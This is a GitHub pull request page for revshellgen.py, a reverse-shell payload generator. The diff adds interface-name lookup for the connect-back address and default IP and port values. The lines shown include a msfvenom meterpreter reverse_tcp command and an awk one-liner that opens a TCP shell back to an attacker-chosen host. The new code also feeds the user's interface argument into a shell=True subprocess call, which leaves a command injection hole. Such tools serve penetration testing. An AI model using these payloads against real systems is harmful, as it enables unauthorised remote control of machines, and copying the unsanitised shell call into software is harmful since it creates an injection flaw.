Skip to content

Few inprovements #5

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ python revshellgen.py --help
optional arguments:
-h, --help show this help message and exit
-i IPADDR, --ipaddr IPADDR
IP address to connect back to
IP address or interface to connect back to
-p PORT, --port PORT Port to connect back to
-t SHELL_TYPE, --type SHELL_TYPE
Type of reverse shell to generate
Expand Down
30 changes: 23 additions & 7 deletions revshellgen.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -4,13 +4,15 @@
import socket
import sys
import time
import re
import subprocess
from base64 import b64encode

def parse_options():

parser = argparse.ArgumentParser(description='python revshellgen.py -i 127.0.0.1 -p 1234 -t bash')
parser.add_argument("-i", "--ipaddr", type=str, help="IP address to connect back to")
parser.add_argument("-p", "--port", type=int, help="Port to connect back to")
parser.add_argument("-i", "--ipaddr", type=str, default="127.0.0.1", help="IP address or interface to connect back to")
parser.add_argument("-p", "--port", type=int, default=4444, help="Port to connect back to")
parser.add_argument("-t", "--type", type=str, help="Type of reverse shell to generate", dest='shell_type')
parser.add_argument("-li", "--listen", action="store_true", help='Open a socket and listen for a shell')
parser.add_argument("-ls", "--list", action="store_true", help="List available shell types", dest='shell_list')
Expand All @@ -24,12 +26,26 @@ def parse_options():
def main(args):

if args.ipaddr or args.port != None:
ipaddr = args.ipaddr
if len(args.ipaddr.split(".")) != 4:
try:
cmd = f"ip addr show dev {args.ipaddr}"
iface_info = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
#print(iface_info.stdout.read().decode())
ipaddr = re.search("inet\s((?:[\d]{1,3}.){3}\d{1,3})", iface_info.stdout.read().decode())

#Check and set IP
if ipaddr == None:
print(f"[X] {args.ipaddr} is not a valid interface name or ip address!")
sys.exit(1337)
else:
ipaddr = ipaddr[1]
except Exception as e:
print("[X]" + e)
sys.exit(31337)
else:
ipaddr = args.ipaddr
port = args.port
else:
ipaddr = '127.0.0.1'
port = 1234


shells = {
'asp':'msfvenom -p windows/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f asp > revshell.asp' % (ipaddr, port),
'awk':'awk \'BEGIN {s = "/inet/tcp/0/%s/%d"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null' % (ipaddr, port),
Expand Down